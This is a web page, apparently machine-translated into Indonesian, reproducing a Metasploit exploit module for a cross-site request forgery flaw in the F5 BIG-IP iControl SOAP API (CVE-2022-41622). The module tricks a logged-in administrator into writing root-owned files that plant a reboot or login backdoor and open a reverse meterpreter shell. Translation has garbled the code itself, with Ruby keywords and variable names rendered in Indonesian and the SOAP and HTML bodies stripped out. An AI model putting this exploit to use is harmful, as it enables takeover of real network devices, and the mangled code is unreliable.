F5 Pemalsuan Permintaan Lintas Situs iControl BIG-IP

  • Whatsapp
MTPutty 1.0.1.21 Pengungkapan Kata Sandi SSH
MTPutty Pengungkapan Kata Sandi SSH

News.nextcloud.asia

##
# Modul ini membutuhkan Metasploit: https://metasploit.com/download
# Sumber saat ini: https://github.com/rapid7/metasploit-framework
##

kelas MetasploitModule < Msf::Exploit::Remote
Peringkat = Peringkat Luar Biasa

termasuk Msf::Exploit::Remote::HttpServer::HTML
termasuk Msf::Exploit::FileDropper

def menginisialisasi(info = {})
super(
informasi terbaru(
info,
‘Name’ => ‘F5 BIG-IP iControl CSRF File Write SOAP API’,
‘Deskripsi’ => %q{
Modul ini mengeksploitasi kerentanan cross-site request forgery (CSRF).
di antarmuka iControl F5 Big-IP untuk menulis file arbitrer ke
berkas sistem.

Meskipun file apa pun dapat ditulis ke lokasi mana pun sebagai root, file
exploitabilitas dibatasi oleh SELinux; sebagian besar dapat ditulis
lokasi tidak tersedia. Secara default, kami menulis ke skrip itu
dijalankan saat reboot, yang berarti payload akan dieksekusi di lain waktu
server melakukan booting.

Target alternatif – Login – akan menambahkan pintu belakang yang dijalankan selanjutnya
waktu pengguna masuk secara interaktif. Ini menimpa file,
tapi kami mengembalikannya saat kami mendapatkan sesi

Perhatikan bahwa karena ini adalah kerentanan CSRF, ini memulai web
server, tetapi administrator yang diautentikasi harus mengunjungi situs tersebut, yang
mengarahkan mereka ke target.
},
‘Pengarang’ => [
‘Ron Bowes’ # Discovery, PoC, and module
],
‘Referensi’ => [
[‘CVE’, ‘2022-41622’],
[‘URL’, ‘https://github.com/rbowes-r7/refreshing-soap-exploit’],
[‘URL’, ‘https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/’],
[‘URL’, ‘https://support.f5.com/csp/article/K97843387’],
[‘URL’, ‘https://support.f5.com/csp/article/K94221585’],
[‘URL’, ‘https://support.f5.com/csp/article/K05403841’],
],
‘Lisensi’ => MSF_LICENSE,
‘DisclosureDate’ => ‘2022-11-16’, # Penasihat vendor
‘Platform’ => [‘unix’, ‘linux’],
‘Lengkungan’ => [ARCH_CMD],
‘Ketik’ => :unix_cmd,
‘Keistimewaan’ => benar,
‘Target’ => [
[ ‘Restart’, {}, ],
[ ‘Login’, {}, ],
[ ‘Custom’, {}, ]
],
‘DefaultTarget’ => 0,
‘DefaultOptions’ => {
‘LAPORAN’ => 443,
‘SSL’ => benar,
‘Muatan’ => ‘cmd/unix/python/meterpreter/reverse_tcp’
},
‘Catatan’ => {
‘Stabilitas’ => [CRASH_SAFE],
‘Keandalan’ => [REPEATABLE_SESSION],
‘Efek Samping’ => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK
]
}
)
)

daftar_opsi(
[
OptString.new(‘TARGET_HOST’, [true, ‘The IP or domain name of the target F5 device’]),
OptString.new(‘TARGET_URI’, [true, ‘The URI of the SOAP API’, ‘/iControl/iControlPortal.cgi’]),
OptBool.new(‘TARGET_SSL’, [true, ‘Use SSL for the upstream connection?’, true]),
OptString.new(‘FILENAME’, [false, ‘The file on the target to overwrite (for “custom” target) – note that SELinux prevents overwriting a great deal of useful files’]),
]
)
akhir

def on_request_uri(soket, _request)
jika penyimpanan data[‘TARGET’] == 0 # mulai ulang
filename=”/shared/f5_update_action”
file_payload = <<~EOT
UpdateAction
https://localhost/success`#{payload.encoded}`
https://localhost/kesalahan
0
0
0
0
EOT

# Hapus file log jika kita mendapatkan sesi
register_file_for_cleanup(‘/var/log/f5_update_checker.out’)

print_status(“Mengalihkan admin untuk menimpa #{filename}; jika berhasil, sesi Anda akan tiba sekitar 2 menit setelah target di-reboot”)
penyimpanan data elsif[‘TARGET’] == 1 # masuk
namafile=”/var/run/config/timeout.sh”
file_payload = “#{payload.encoded} & disown;”

# Hapus file backdoor jika kita mendapatkan sesi.. ini akan diperbaiki pada
# reboot berikutnya
register_file_for_cleanup(‘/var/run/config/timeout.sh’)

print_status(“Mengalihkan admin untuk menimpa #{filename}; jika berhasil, sesi Anda akan datang saat berikutnya pengguna masuk secara interaktif”)
lain # Kustom

nama file = penyimpanan data[‘FILENAME’]
file_payload = payload.dikodekan

print_status(“Mengarahkan admin untuk menimpa #{filename} dengan payload”)
akhir

# Bangun permintaan SOAP yang akan dikirim ke server target
csrf_payload = %(




#{namafile}


#{Rex::Text.encode_base64(file_payload)}
FILE_FIRST_AND_LAST




)

# Bangun URL target
target_url = “#{datastore[‘TARGET_SSL’] ? ‘https’ : ‘http’}://#{datastore[‘TARGET_HOST’]}#{penyimpanan data[‘TARGET_URI’]}”

# Buat muatan HTML yang akan mengirimkan permintaan SOAP melalui browser pengguna
html_payload = %(




document.forms[0].Kirimkan();



)

# Kirim HTML ke browser
send_response(socket, html_payload, { ‘Content-Type’ => ‘text/html’ })
akhir

def mengeksploitasi
# pemeriksaan kewarasan
jika penyimpanan data[‘TARGET’] == 2 && (!datastore[‘FILENAME’] || penyimpanan data[‘FILENAME’].kosong?)
fail_with(Kegagalan::BadConfig, ‘Untuk target khusus, berikan NAMA FILE’)
akhir

print_good(‘Memulai server HTTP; administrator dengan sesi Dasar HTTP yang aktif perlu memuat URL di bawah ini’)
super
akhir
akhir

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *